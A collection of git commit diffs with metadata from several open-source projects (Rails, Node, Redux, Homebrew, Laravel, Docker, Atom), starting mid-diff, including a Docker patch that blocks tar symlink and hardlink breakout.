<add> assert_method :change, m do |up|
<ide> assert_match /create_table :products/, up
<ide> assert_match /t\.string :name/, up
<ide> assert_match /t\.integer :supplier_id/, up
<ide> end
<del>
<del> assert_method :down, m do |down|
<del> assert_match /drop_table :products/, down
<del> end
<ide> end
<ide> end
<ide>
<ide> def test_migration_timestamps_are_skipped
<ide> run_generator ["account", "--no-timestamps"]
<ide>
<ide> assert_migration "db/migrate/create_accounts.rb" do |m|
<del> assert_method :up, m do |up|
<add> assert_method :change, m do |up|
<ide> assert_no_match /t.timestamps/, up
<ide> end
<ide> end
| 2
|
Javascript
|
Javascript
|
add common script
|
00e1962495f9d42b7bf403952566e420acdf48d0
|
<ide><path>benchmark/common.js
<add>var assert = require('assert');
<add>var path = require('path');
<add>
<add>exports.PORT = process.env.PORT || 12346;
<add>
<add>exports.createBenchmark = function(fn, options) {
<add> return new Benchmark(fn, options);
<add>};
<add>
<add>function Benchmark(fn, options) {
<add> this.fn = fn;
<add> this.options = options;
<add> this.config = parseOpts(options);
<add> this._name = path.basename(require.main.filename, '.js');
<add> this._start = [0,0];
<add> this._started = false;
<add> var self = this;
<add> process.nextTick(function() {
<add> self._run();
<add> });
<add>}
<add>
<add>Benchmark.prototype._run = function() {
<add> if (this.config)
<add> return this.fn(this.config);
<add>
<add> // one more more options weren't set.
<add> // run with all combinations
<add> var main = require.main.filename;
<add> var settings = [];
<add> var queueLen = 1;
<add> var options = this.options;
<add>
<add> var queue = Object.keys(options).reduce(function(set, key) {
<add> var vals = options[key];
<add> assert(Array.isArray(vals));
<add>
<add> // match each item in the set with each item in the list
<add> var newSet = new Array(set.length * vals.length);
<add> var j = 0;
<add> set.forEach(function(s) {
<add> vals.forEach(function(val) {
<add> newSet[j++] = s.concat('--' + key + '=' + val);
<add> });
<add> });
<add> return newSet;
<add> }, [[main]]);
<add>
<add> var spawn = require('child_process').spawn;
<add> var node = process.execPath;
<add> var i = 0;
<add> function run() {
<add> var argv = queue[i++];
<add> if (!argv)
<add> return;
<add> var child = spawn(node, argv, { stdio: 'inherit' });
<add> child.on('close', function(code, signal) {
<add> if (code)
<add> console.error('child process exited with code ' + code);
<add> else
<add> run();
<add> });
<add> }
<add> run();
<add>};
<add>
<add>function parseOpts(options) {
<add> // verify that there's an --option provided for each of the options
<add> // if they're not *all* specified, then we return null.
<add> var keys = Object.keys(options);
<add> var num = keys.length;
<add> var conf = {};
<add> for (var i = 2; i < process.argv.length; i++) {
<add> var m = process.argv[i].match(/^--(.+)=(.+)$/);
<add> if (!m || !m[1] || !m[2] || !options[m[1]])
<add> return null;
<add> else {
<add> conf[m[1]] = isFinite(m[2]) ? +m[2] : m[2]
<add> num--;
<add> }
<add> }
<add> return num === 0 ? conf : null;
<add>};
<add>
<add>Benchmark.prototype.start = function() {
<add> if (this._started)
<add> throw new Error('Called start more than once in a single benchmark');
<add> this._started = true;
<add> this._start = process.hrtime();
<add>};
<add>
<add>Benchmark.prototype.end = function(operations) {
<add> var elapsed = process.hrtime(this._start);
<add> if (!this._started)
<add> throw new Error('called end without start');
<add> if (typeof operations !== 'number')
<add> throw new Error('called end() without specifying operation count');
<add> var time = elapsed[0] + elapsed[1]/1e9;
<add> var rate = operations/time;
<add> var heading = this.getHeading();
<add> console.log('%s: %s', heading, rate.toPrecision(5));
<add> process.exit(0);
<add>};
<add>
<add>Benchmark.prototype.getHeading = function() {
<add> var conf = this.config;
<add> return this._name + '_' + Object.keys(conf).map(function(key) {
<add> return key + '_' + conf[key];
<add> }).join('_');
<add>}
| 1
|
Ruby
|
Ruby
|
add docs for having, lock and readonly
|
e68f63e6048aae61954904125b33e02a6c8934e5
|
<ide><path>activerecord/lib/active_record/relation/query_methods.rb
<ide> def where!(opts, *rest)
<ide> self
<ide> end
<ide>
<add> # Allows to specify a HAVING clause. Note that you can't use HAVING
<add> # without also specifying a GROUP clause.
<add> #
<add> # Order.having('SUM(price) > 30').group('user_id')
<ide> def having(opts, *rest)
<ide> opts.blank? ? self : spawn.having!(opts, *rest)
<ide> end
<ide> def offset!(value)
<ide> self
<ide> end
<ide>
<add> # Specifies locking settings (default to +true+). For more information
<add> # on locking, please see +ActiveRecord::Locking+.
<ide> def lock(locks = true)
<ide> spawn.lock!(locks)
<ide> end
<ide> def none
<ide> scoped.extending(NullRelation)
<ide> end
<ide>
<add> # Sets readonly attributes for the returned relation. If value is
<add> # true (default), attempting to update a record will result in an error.
<add> #
<add> # users = User.readonly
<add> # users.first.save
<add> # => ActiveRecord::ReadOnlyRecord: ActiveRecord::ReadOnlyRecord
<ide> def readonly(value = true)
<ide> spawn.readonly!(value)
<ide> end
| 1
|
Text
|
Text
|
change webflow link to point to github per request
|
1ba1480b4a279e13a680763ee7a26d49691b0ea7
|
<ide><path>PATRONS.md
<ide> The work on Redux was [funded by the community](https://www.patreon.com/reactdx).
<ide> Meet some of the outstanding companies and individuals that made it possible:
<ide>
<del>* [Webflow](https://webflow.com/)
<add>* [Webflow](https://github.com/webflow)
<ide> * [Chess iX](http://www.chess-ix.com/)
<ide> * [Herman J. Radtke III](http://hermanradtke.com)
<ide> * [Ken Wheeler](http://kenwheeler.github.io/)
| 1
|
Ruby
|
Ruby
|
add test for mpi choice cop's autocorrect
|
65fbcc86d0c51c1ae04a6224b82d8fcf696632d3
|
<ide><path>Library/Homebrew/test/rubocops/lines_spec.rb
<ide> class Foo < Formula
<ide> ^^^^^^^^^^^^^^^^^^ Use 'depends_on "open-mpi"' instead of 'depends_on "mpich"'.
<ide> end
<ide> RUBY
<add>
<add> expect_correction(<<~RUBY)
<add> class Foo < Formula
<add> desc "foo"
<add> url 'https://brew.sh/foo-1.0.tgz'
<add> depends_on "open-mpi"
<add> end
<add> RUBY
<ide> end
<ide> end
<ide> end
| 1
|
PHP
|
PHP
|
prefix an option `0` that publishes all
|
a74c4439a0762722b3173ac5ed58eecb43f49aad
|
<ide><path>src/Illuminate/Foundation/Console/VendorPublishCommand.php
<ide> protected function providerToPublish()
<ide> return $this->option('provider');
<ide> }
<ide>
<del> return $this->choice(
<add> $choice = $this->choice(
<ide> "Which package's files would you like to publish?",
<del> ServiceProvider::providersAvailableToPublish()
<add> array_merge(
<add> [$all = '<comment>Publish files from all packages listed below</comment>'],
<add> ServiceProvider::providersAvailableToPublish()
<add> )
<ide> );
<add>
<add> return $choice == $all ? null : $choice;
<ide> }
<ide>
<ide> /**
| 1
|
Go
|
Go
|
prevent breakout in untar
|
1852cc38415c3d63d18c2938af9c112fbc4dfc10
|
<ide><path>pkg/archive/archive.go
<ide> import (
<ide> "github.com/docker/docker/pkg/fileutils"
<ide> "github.com/docker/docker/pkg/pools"
<ide> "github.com/docker/docker/pkg/promise"
<add> "github.com/docker/docker/pkg/symlink"
<ide> "github.com/docker/docker/pkg/system"
<ide> )
<ide>
<ide> func createTarFile(path, extractDir string, hdr *tar.Header, reader io.Reader, L
<ide> }
<ide>
<ide> case tar.TypeLink:
<del> if err := os.Link(filepath.Join(extractDir, hdr.Linkname), path); err != nil {
<add> targetPath := filepath.Join(extractDir, hdr.Linkname)
<add> // check for hardlink breakout
<add> if !strings.HasPrefix(targetPath, extractDir) {
<add> return breakoutError(fmt.Errorf("invalid hardlink %q -> %q", targetPath, hdr.Linkname))
<add> }
<add> if err := os.Link(targetPath, path); err != nil {
<ide> return err
<ide> }
<ide>
<ide> case tar.TypeSymlink:
<add> // check for symlink breakout
<add> if _, err := symlink.FollowSymlinkInScope(filepath.Join(filepath.Dir(path), hdr.Linkname), extractDir); err != nil {
<add> if _, ok := err.(symlink.ErrBreakout); ok {
<add> return breakoutError(fmt.Errorf("invalid symlink %q -> %q", path, hdr.Linkname))
<add> }
<add> return err
<add> }
<ide> if err := os.Symlink(hdr.Linkname, path); err != nil {
<ide> return err
<ide> }
<ide> func TarWithOptions(srcPath string, options *TarOptions) (io.ReadCloser, error)
<ide> // identity (uncompressed), gzip, bzip2, xz.
<ide> // FIXME: specify behavior when target path exists vs. doesn't exist.
<ide> func Untar(archive io.Reader, dest string, options *TarOptions) error {
<add> dest = filepath.Clean(dest)
<add>
<ide> if options == nil {
<ide> options = &TarOptions{}
<ide> }
<ide> loop:
<ide> }
<ide>
<ide> // Normalize name, for safety and for a simple is-root check
<add> // This keeps "../" as-is, but normalizes "/../" to "/"
<ide> hdr.Name = filepath.Clean(hdr.Name)
<ide>
<ide> for _, exclude := range options.Excludes {
<ide> loop:
<ide> }
<ide> }
<ide>
<add> // Prevent symlink breakout
<ide> path := filepath.Join(dest, hdr.Name)
<add> if !strings.HasPrefix(path, dest) {
<add> return breakoutError(fmt.Errorf("%q is outside of %q", path, dest))
<add> }
<ide>
<ide> // If path exits we almost always just want to remove and replace it
<ide> // The only exception is when it is a directory *and* the file from
<ide><path>pkg/symlink/fs.go
<ide> import (
<ide>
<ide> const maxLoopCounter = 100
<ide>
<add>type ErrBreakout error
<add>
<ide> // FollowSymlink will follow an existing link and scope it to the root
<ide> // path provided.
<ide> // The role of this function is to return an absolute path in the root
<ide> func FollowSymlinkInScope(link, root string) (string, error) {
<ide> }
<ide>
<ide> if !strings.HasPrefix(filepath.Dir(link), root) {
<del> return "", fmt.Errorf("%s is not within %s", link, root)
<add> return "", ErrBreakout(fmt.Errorf("%s is not within %s", link, root))
<ide> }
<ide>
<ide> prev := "/"
| 2
|
Javascript
|
Javascript
|
fix tests by ignoring off screen lines
|
2bcfd934c0ad2e44a7449d4b45f889fb7c153a34
|
<ide><path>spec/text-editor-component-spec.js
<ide> describe('TextEditorComponent', () => {
<ide> it('renders lines and line numbers for the visible region', async () => {
<ide> const {component, element, editor} = buildComponent({rowsPerTile: 3, autoHeight: false})
<ide>
<del> expect(element.querySelectorAll('.line-number:not(.dummy)').length).toBe(13)
<del> expect(element.querySelectorAll('.line:not(.dummy)').length).toBe(13)
<add> expect(queryOnScreenLineNumberElements(element).length).toBe(13)
<add> expect(queryOnScreenLineElements(element).length).toBe(13)
<ide>
<ide> element.style.height = 4 * component.measurements.lineHeight + 'px'
<ide> await component.getNextUpdatePromise()
<del> expect(element.querySelectorAll('.line-number:not(.dummy)').length).toBe(9)
<del> expect(element.querySelectorAll('.line:not(.dummy)').length).toBe(9)
<add> expect(queryOnScreenLineNumberElements(element).length).toBe(9)
<add> expect(queryOnScreenLineElements(element).length).toBe(9)
<ide>
<ide> await setScrollTop(component, 5 * component.getLineHeight())
<ide>
<ide> // After scrolling down beyond > 3 rows, the order of line numbers and lines
<ide> // in the DOM is a bit weird because the first tile is recycled to the bottom
<ide> // when it is scrolled out of view
<del> expect(Array.from(element.querySelectorAll('.line-number:not(.dummy)')).map(element => element.textContent.trim())).toEqual([
<add> expect(queryOnScreenLineNumberElements(element).map(element => element.textContent.trim())).toEqual([
<ide> '10', '11', '12', '4', '5', '6', '7', '8', '9'
<ide> ])
<del> expect(Array.from(element.querySelectorAll('.line:not(.dummy)')).map(element => element.dataset.screenRow)).toEqual([
<add> expect(queryOnScreenLineElements(element).map(element => element.dataset.screenRow)).toEqual([
<ide> '9', '10', '11', '3', '4', '5', '6', '7', '8'
<ide> ])
<del> expect(Array.from(element.querySelectorAll('.line:not(.dummy)')).map(element => element.textContent)).toEqual([
<add> expect(queryOnScreenLineElements(element).map(element => element.textContent)).toEqual([
<ide> editor.lineTextForScreenRow(9),
<ide> ' ', // this line is blank in the model, but we render a space to prevent the line from collapsing vertically
<ide> editor.lineTextForScreenRow(11),
<ide> describe('TextEditorComponent', () => {
<ide> ])
<ide>
<ide> await setScrollTop(component, 2.5 * component.getLineHeight())
<del> expect(Array.from(element.querySelectorAll('.line-number:not(.dummy)')).map(element => element.textContent.trim())).toEqual([
<add> expect(queryOnScreenLineNumberElements(element).map(element => element.textContent.trim())).toEqual([
<ide> '1', '2', '3', '4', '5', '6', '7', '8', '9'
<ide> ])
<del> expect(Array.from(element.querySelectorAll('.line:not(.dummy)')).map(element => element.dataset.screenRow)).toEqual([
<add> expect(queryOnScreenLineElements(element).map(element => element.dataset.screenRow)).toEqual([
<ide> '0', '1', '2', '3', '4', '5', '6', '7', '8'
<ide> ])
<del> expect(Array.from(element.querySelectorAll('.line:not(.dummy)')).map(element => element.textContent)).toEqual([
<add> expect(queryOnScreenLineElements(element).map(element => element.textContent)).toEqual([
<ide> editor.lineTextForScreenRow(0),
<ide> editor.lineTextForScreenRow(1),
<ide> editor.lineTextForScreenRow(2),
<ide> describe('TextEditorComponent', () => {
<ide> const {component, element, editor} = buildComponent({rowsPerTile: 3, autoHeight: false})
<ide> element.style.height = 4 * component.measurements.lineHeight + 'px'
<ide> await component.getNextUpdatePromise()
<del> expect(element.querySelectorAll('.line-number:not(.dummy)').length).toBe(9)
<del> expect(element.querySelectorAll('.line:not(.dummy)').length).toBe(9)
<add> expect(queryOnScreenLineNumberElements(element).length).toBe(9)
<add> expect(queryOnScreenLineElements(element).length).toBe(9)
<ide>
<ide> element.style.lineHeight = '2.0'
<ide> TextEditor.didUpdateStyles()
<ide> await component.getNextUpdatePromise()
<del> expect(element.querySelectorAll('.line-number:not(.dummy)').length).toBe(6)
<del> expect(element.querySelectorAll('.line:not(.dummy)').length).toBe(6)
<add> expect(queryOnScreenLineNumberElements(element).length).toBe(6)
<add> expect(queryOnScreenLineElements(element).length).toBe(6)
<ide>
<ide> element.style.lineHeight = '0.7'
<ide> TextEditor.didUpdateStyles()
<ide> await component.getNextUpdatePromise()
<del> expect(element.querySelectorAll('.line-number:not(.dummy)').length).toBe(12)
<del> expect(element.querySelectorAll('.line:not(.dummy)').length).toBe(12)
<add> expect(queryOnScreenLineNumberElements(element).length).toBe(12)
<add> expect(queryOnScreenLineElements(element).length).toBe(12)
<ide>
<ide> element.style.lineHeight = '0.05'
<ide> TextEditor.didUpdateStyles()
<ide> await component.getNextUpdatePromise()
<del> expect(element.querySelectorAll('.line-number:not(.dummy)').length).toBe(13)
<del> expect(element.querySelectorAll('.line:not(.dummy)').length).toBe(13)
<add> expect(queryOnScreenLineNumberElements(element).length).toBe(13)
<add> expect(queryOnScreenLineElements(element).length).toBe(13)
<ide>
<ide> element.style.lineHeight = '0'
<ide> TextEditor.didUpdateStyles()
<ide> await component.getNextUpdatePromise()
<del> expect(element.querySelectorAll('.line-number:not(.dummy)').length).toBe(13)
<del> expect(element.querySelectorAll('.line:not(.dummy)').length).toBe(13)
<add> expect(queryOnScreenLineNumberElements(element).length).toBe(13)
<add> expect(queryOnScreenLineElements(element).length).toBe(13)
<ide>
<ide> element.style.lineHeight = '1'
<ide> TextEditor.didUpdateStyles()
<ide> await component.getNextUpdatePromise()
<del> expect(element.querySelectorAll('.line-number:not(.dummy)').length).toBe(9)
<del> expect(element.querySelectorAll('.line:not(.dummy)').length).toBe(9)
<add> expect(queryOnScreenLineNumberElements(element).length).toBe(9)
<add> expect(queryOnScreenLineElements(element).length).toBe(9)
<ide> })
<ide>
<ide> it('makes the content at least as tall as the scroll container client height', async () => {
<ide> describe('TextEditorComponent', () => {
<ide>
<ide> element.style.width = 200 + 'px'
<ide> await component.getNextUpdatePromise()
<del> expect(element.querySelectorAll('.line:not(.dummy)').length).toBe(24)
<add> expect(queryOnScreenLineElements(element).length).toBe(24)
<ide> })
<ide>
<ide> it('decorates the line numbers of folded lines', async () => {
<ide> describe('TextEditorComponent', () => {
<ide> await component.getNextUpdatePromise()
<ide> await setEditorWidthInCharacters(component, 40)
<ide> {
<del> const bufferRows = Array.from(element.querySelectorAll('.line-number:not(.dummy)')).map((e) => e.dataset.bufferRow)
<del> const screenRows = Array.from(element.querySelectorAll('.line-number:not(.dummy)')).map((e) => e.dataset.screenRow)
<add> const bufferRows = queryOnScreenLineNumberElements(element).map((e) => e.dataset.bufferRow)
<add> const screenRows = queryOnScreenLineNumberElements(element).map((e) => e.dataset.screenRow)
<ide> expect(bufferRows).toEqual([
<ide> '0', '1', '2', '3', '3', '4', '5', '6', '6', '6',
<ide> '7', '8', '8', '8', '9', '10', '11', '11', '12'
<ide> describe('TextEditorComponent', () => {
<ide> editor.getBuffer().insert([2, 0], '\n')
<ide> await component.getNextUpdatePromise()
<ide> {
<del> const bufferRows = Array.from(element.querySelectorAll('.line-number:not(.dummy)')).map((e) => e.dataset.bufferRow)
<del> const screenRows = Array.from(element.querySelectorAll('.line-number:not(.dummy)')).map((e) => e.dataset.screenRow)
<add> const bufferRows = queryOnScreenLineNumberElements(element).map((e) => e.dataset.bufferRow)
<add> const screenRows = queryOnScreenLineNumberElements(element).map((e) => e.dataset.screenRow)
<ide> expect(bufferRows).toEqual([
<ide> '0', '1', '2', '3', '4', '4', '5', '6', '7', '7',
<ide> '7', '8', '9', '9', '9', '10', '11', '12', '12', '13'
<ide> describe('TextEditorComponent', () => {
<ide> {tileStartRow: 3, height: 3 * component.getLineHeight()}
<ide> ])
<ide> assertLinesAreAlignedWithLineNumbers(component)
<del> expect(element.querySelectorAll('.line:not(.dummy)').length).toBe(9)
<add> expect(queryOnScreenLineElements(element).length).toBe(9)
<ide> expect(item1.previousSibling.className).toBe('highlights')
<ide> expect(item1.nextSibling).toBe(lineNodeForScreenRow(component, 0))
<ide> expect(item2.previousSibling).toBe(lineNodeForScreenRow(component, 1))
<ide> describe('TextEditorComponent', () => {
<ide> {tileStartRow: 3, height: 3 * component.getLineHeight() + getElementHeight(item3)}
<ide> ])
<ide> assertLinesAreAlignedWithLineNumbers(component)
<del> expect(element.querySelectorAll('.line:not(.dummy)').length).toBe(9)
<add> expect(queryOnScreenLineElements(element).length).toBe(9)
<ide> expect(item1.previousSibling.className).toBe('highlights')
<ide> expect(item1.nextSibling).toBe(lineNodeForScreenRow(component, 0))
<ide> expect(item2.previousSibling).toBe(lineNodeForScreenRow(component, 1))
<ide> describe('TextEditorComponent', () => {
<ide> {tileStartRow: 3, height: 3 * component.getLineHeight() + getElementHeight(item3)}
<ide> ])
<ide> assertLinesAreAlignedWithLineNumbers(component)
<del> expect(element.querySelectorAll('.line:not(.dummy)').length).toBe(9)
<add> expect(queryOnScreenLineElements(element).length).toBe(9)
<ide> expect(element.contains(item1)).toBe(false)
<ide> expect(item2.previousSibling).toBe(lineNodeForScreenRow(component, 1))
<ide> expect(item2.nextSibling).toBe(lineNodeForScreenRow(component, 2))
<ide> describe('TextEditorComponent', () => {
<ide> {tileStartRow: 3, height: 3 * component.getLineHeight()}
<ide> ])
<ide> assertLinesAreAlignedWithLineNumbers(component)
<del> expect(element.querySelectorAll('.line:not(.dummy)').length).toBe(9)
<add> expect(queryOnScreenLineElements(element).length).toBe(9)
<ide> expect(element.contains(item1)).toBe(false)
<ide> expect(item2.previousSibling).toBe(lineNodeForScreenRow(component, 0))
<ide> expect(item2.nextSibling).toBe(lineNodeForScreenRow(component, 1))
<ide> describe('TextEditorComponent', () => {
<ide> {tileStartRow: 3, height: 3 * component.getLineHeight() + getElementHeight(item2)}
<ide> ])
<ide> assertLinesAreAlignedWithLineNumbers(component)
<del> expect(element.querySelectorAll('.line:not(.dummy)').length).toBe(9)
<add> expect(queryOnScreenLineElements(element).length).toBe(9)
<ide> expect(element.contains(item1)).toBe(false)
<ide> expect(item2.previousSibling.className).toBe('highlights')
<ide> expect(item2.nextSibling).toBe(lineNodeForScreenRow(component, 3))
<ide> describe('TextEditorComponent', () => {
<ide> {tileStartRow: 6, height: 3 * component.getLineHeight()}
<ide> ])
<ide> assertLinesAreAlignedWithLineNumbers(component)
<del> expect(element.querySelectorAll('.line:not(.dummy)').length).toBe(9)
<add> expect(queryOnScreenLineElements(element).length).toBe(9)
<ide> expect(element.contains(item1)).toBe(false)
<ide> expect(item2.previousSibling.className).toBe('highlights')
<ide> expect(item2.nextSibling).toBe(lineNodeForScreenRow(component, 3))
<ide> describe('TextEditorComponent', () => {
<ide> {tileStartRow: 3, height: 3 * component.getLineHeight()}
<ide> ])
<ide> assertLinesAreAlignedWithLineNumbers(component)
<del> expect(element.querySelectorAll('.line:not(.dummy)').length).toBe(9)
<add> expect(queryOnScreenLineElements(element).length).toBe(9)
<ide> expect(element.contains(item1)).toBe(false)
<ide> expect(item2.previousSibling).toBe(lineNodeForScreenRow(component, 0))
<ide> expect(item2.nextSibling).toBe(lineNodeForScreenRow(component, 1))
<ide> describe('TextEditorComponent', () => {
<ide> {tileStartRow: 3, height: 3 * component.getLineHeight()}
<ide> ])
<ide> assertLinesAreAlignedWithLineNumbers(component)
<del> expect(element.querySelectorAll('.line:not(.dummy)').length).toBe(9)
<add> expect(queryOnScreenLineElements(element).length).toBe(9)
<ide> expect(element.contains(item1)).toBe(false)
<ide> expect(item2.previousSibling).toBe(lineNodeForScreenRow(component, 0))
<ide> expect(item2.nextSibling).toBe(lineNodeForScreenRow(component, 1))
<ide> describe('TextEditorComponent', () => {
<ide> {tileStartRow: 3, height: 3 * component.getLineHeight()}
<ide> ])
<ide> assertLinesAreAlignedWithLineNumbers(component)
<del> expect(element.querySelectorAll('.line:not(.dummy)').length).toBe(9)
<add> expect(queryOnScreenLineElements(element).length).toBe(9)
<ide> expect(element.contains(item1)).toBe(false)
<ide> expect(item2.previousSibling).toBe(lineNodeForScreenRow(component, 0))
<ide> expect(item2.nextSibling).toBe(lineNodeForScreenRow(component, 1))
<ide> describe('TextEditorComponent', () => {
<ide> {tileStartRow: 6, height: 3 * component.getLineHeight() + getElementHeight(item4) + getElementHeight(item5)},
<ide> ])
<ide> assertLinesAreAlignedWithLineNumbers(component)
<del> expect(element.querySelectorAll('.line:not(.dummy)').length).toBe(13)
<add> expect(queryOnScreenLineElements(element).length).toBe(13)
<ide> expect(element.contains(item1)).toBe(false)
<ide> expect(item2.previousSibling).toBe(lineNodeForScreenRow(component, 0))
<ide> expect(item2.nextSibling).toBe(lineNodeForScreenRow(component, 1))
<ide> describe('TextEditorComponent', () => {
<ide> const initialDoubleCharacterWidth = editor.getDoubleWidthCharWidth()
<ide> const initialHalfCharacterWidth = editor.getHalfWidthCharWidth()
<ide> const initialKoreanCharacterWidth = editor.getKoreanCharWidth()
<del> const initialRenderedLineCount = element.querySelectorAll('.line:not(.dummy)').length
<add> const initialRenderedLineCount = queryOnScreenLineElements(element).length
<ide> const initialFontSize = parseInt(getComputedStyle(element).fontSize)
<ide>
<ide> expect(initialKoreanCharacterWidth).toBeDefined()
<ide> describe('TextEditorComponent', () => {
<ide> expect(editor.getDoubleWidthCharWidth()).toBeLessThan(initialDoubleCharacterWidth)
<ide> expect(editor.getHalfWidthCharWidth()).toBeLessThan(initialHalfCharacterWidth)
<ide> expect(editor.getKoreanCharWidth()).toBeLessThan(initialKoreanCharacterWidth)
<del> expect(element.querySelectorAll('.line:not(.dummy)').length).toBeGreaterThan(initialRenderedLineCount)
<add> expect(queryOnScreenLineElements(element).length).toBeGreaterThan(initialRenderedLineCount)
<ide> verifyCursorPosition(component, cursorNode, 1, 29)
<ide>
<ide> element.style.fontSize = initialFontSize + 10 + 'px'
<ide> describe('TextEditorComponent', () => {
<ide> expect(editor.getDoubleWidthCharWidth()).toBeGreaterThan(initialDoubleCharacterWidth)
<ide> expect(editor.getHalfWidthCharWidth()).toBeGreaterThan(initialHalfCharacterWidth)
<ide> expect(editor.getKoreanCharWidth()).toBeGreaterThan(initialKoreanCharacterWidth)
<del> expect(element.querySelectorAll('.line:not(.dummy)').length).toBeLessThan(initialRenderedLineCount)
<add> expect(queryOnScreenLineElements(element).length).toBeLessThan(initialRenderedLineCount)
<ide> verifyCursorPosition(component, cursorNode, 1, 29)
<ide> })
<ide>
<ide> describe('TextEditorComponent', () => {
<ide> )
<ide> await setEditorHeightInLines(component, 2)
<ide>
<del> console.log('update font size >>>>>>>>>>>>>>>');
<ide> element.style.fontSize = '20px'
<ide> TextEditor.didUpdateStyles()
<ide> await component.getNextUpdatePromise()
<ide> describe('TextEditorComponent', () => {
<ide> jasmine.attachToDOM(element)
<ide>
<ide> editor.setText('Lorem ipsum dolor')
<del> expect(Array.from(element.querySelectorAll('.line:not(.dummy)')).map(l => l.textContent)).toEqual([
<add> expect(queryOnScreenLineElements(element).map(l => l.textContent)).toEqual([
<ide> editor.lineTextForScreenRow(0)
<ide> ])
<ide> })
<ide> describe('TextEditorComponent', () => {
<ide> jasmine.attachToDOM(element)
<ide>
<ide> editor.setText('Lorem ipsum dolor')
<del> expect(Array.from(element.querySelectorAll('.line:not(.dummy)')).map(l => l.textContent)).toEqual([
<add> expect(queryOnScreenLineElements(element).map(l => l.textContent)).toEqual([
<ide> editor.lineTextForScreenRow(0)
<ide> ])
<ide> })
<ide> function getElementHeight (element) {
<ide> function getNextTickPromise () {
<ide> return new Promise((resolve) => process.nextTick(resolve))
<ide> }
<add>
<add>function queryOnScreenLineNumberElements (element) {
<add> return Array.from(element.querySelectorAll('.line-number:not(.dummy)'))
<add>}
<add>
<add>function queryOnScreenLineElements (element) {
<add> return Array.from(element.querySelectorAll('.line:not(.dummy):not([data-off-screen])'))
<add>}
<ide><path>src/text-editor-component.js
<ide> class TextEditorComponent {
<ide> if (screenRow < startRow || screenRow >= endRow) {
<ide> children.push($(LineComponent, {
<ide> key: 'extra-' + screenLine.id,
<del> hidden: true,
<add> offScreen: true,
<ide> screenLine,
<ide> screenRow,
<ide> displayLayer: this.props.model.displayLayer,
<ide> class LinesTileComponent {
<ide>
<ide> class LineComponent {
<ide> constructor (props) {
<del> const {nodePool, screenRow, screenLine, lineNodesByScreenLineId} = props
<add> const {nodePool, screenRow, screenLine, lineNodesByScreenLineId, offScreen} = props
<ide> this.props = props
<ide> this.element = nodePool.getElement('DIV', this.buildClassName(), null)
<ide> this.element.dataset.screenRow = screenRow
<ide> lineNodesByScreenLineId.set(screenLine.id, this.element)
<add>
<add> if (offScreen) {
<add> this.element.style.position = 'absolute'
<add> this.element.style.visibility = 'hidden'
<add> this.element.dataset.offScreen = true
<add> }
<add>
<ide> this.appendContents()
<ide> }
<ide>
<ide> class LineComponent {
<ide> }
<ide>
<ide> appendContents () {
<del> const {displayLayer, nodePool, hidden, screenLine, textDecorations, textNodesByScreenLineId} = this.props
<add> const {displayLayer, nodePool, screenLine, textDecorations, textNodesByScreenLineId} = this.props
<ide>
<ide> const textNodes = []
<ide> textNodesByScreenLineId.set(screenLine.id, textNodes)
<ide>
<del> if (hidden) {
<del> this.element.style.position = 'absolute'
<del> this.element.style.visibility = 'hidden'
<del> }
<del>
<ide> const {lineText, tags} = screenLine
<ide> let openScopeNode = nodePool.getElement('SPAN', null, null)
<ide> this.element.appendChild(openScopeNode)
<ide> class NodePool {
<ide> if (!style || style[key] == null) element.style[key] = ''
<ide> })
<ide> if (style) Object.assign(element.style, style)
<del>
<add> for (const key in element.dataset) delete element.dataset[key]
<ide> while (element.firstChild) element.firstChild.remove()
<ide> return element
<ide> } else {
| 2
|
Ruby
|
Ruby
|
run periodic cleanup after installing all packages
|
71ab2f6e7afee7307471cdd61d828c48b68e4c25
|
<ide><path>Library/Homebrew/cleanup.rb
<ide> def initialize(*args, dry_run: false, scrub: false, days: nil, cache: HOMEBREW_C
<ide>
<ide> def self.install_formula_clean!(f, dry_run: false)
<ide> return if Homebrew::EnvConfig.no_install_cleanup?
<add> return unless f.latest_version_installed?
<add> return if skip_clean_formula?(f)
<ide>
<del> cleanup = Cleanup.new(dry_run: dry_run)
<del> if cleanup.periodic_clean_due?
<del> cleanup.periodic_clean!
<del> elsif f.latest_version_installed? && !Cleanup.skip_clean_formula?(f)
<add> if dry_run
<add> ohai "Would run `brew cleanup #{f}`"
<add> else
<ide> ohai "Running `brew cleanup #{f}`..."
<del> puts_no_install_cleanup_disable_message_if_not_already!
<del> cleanup.cleanup_formula(f)
<ide> end
<add>
<add> puts_no_install_cleanup_disable_message_if_not_already!
<add> return if dry_run
<add>
<add> Cleanup.new.cleanup_formula(f)
<ide> end
<ide>
<ide> def self.puts_no_install_cleanup_disable_message_if_not_already!
<ide> def self.skip_clean_formula?(f)
<ide> skip_clean_formulae.include?(f.name) || (skip_clean_formulae & f.aliases).present?
<ide> end
<ide>
<del> def periodic_clean_due?
<add> def self.periodic_clean_due?
<ide> return false if Homebrew::EnvConfig.no_install_cleanup?
<ide>
<ide> unless PERIODIC_CLEAN_FILE.exist?
<ide> def periodic_clean_due?
<ide> PERIODIC_CLEAN_FILE.mtime < CLEANUP_DEFAULT_DAYS.days.ago
<ide> end
<ide>
<del> def periodic_clean!
<del> return false unless periodic_clean_due?
<add> def self.periodic_clean!(dry_run: false)
<add> return if Homebrew::EnvConfig.no_install_cleanup?
<add> return unless periodic_clean_due?
<ide>
<del> if dry_run?
<del> ohai "Would run `brew cleanup` which has not been run in the last #{CLEANUP_DEFAULT_DAYS} days"
<add> if dry_run
<add> oh1 "Would run `brew cleanup` which has not been run in the last #{CLEANUP_DEFAULT_DAYS} days"
<ide> else
<del> ohai "`brew cleanup` has not been run in the last #{CLEANUP_DEFAULT_DAYS} days, running now..."
<add> oh1 "`brew cleanup` has not been run in the last #{CLEANUP_DEFAULT_DAYS} days, running now..."
<ide> end
<ide>
<del> Cleanup.puts_no_install_cleanup_disable_message_if_not_already!
<del> return if dry_run?
<add> puts_no_install_cleanup_disable_message_if_not_already!
<add> return if dry_run
<ide>
<del> clean!(quiet: true, periodic: true)
<add> Cleanup.new.clean!(quiet: true, periodic: true)
<ide> end
<ide>
<ide> def clean!(quiet: false, periodic: false)
<ide><path>Library/Homebrew/cmd/install.rb
<ide> def install
<ide> verbose: args.verbose?,
<ide> )
<ide>
<add> Cleanup.periodic_clean!
<add>
<ide> Homebrew.messages.display_messages(display_times: args.display_times?)
<ide> rescue FormulaUnreadableError, FormulaClassUnavailableError,
<ide> TapFormulaUnreadableError, TapFormulaClassUnavailableError => e
<ide><path>Library/Homebrew/cmd/reinstall.rb
<ide> def reinstall
<ide> )
<ide> end
<ide>
<add> Cleanup.periodic_clean!
<add>
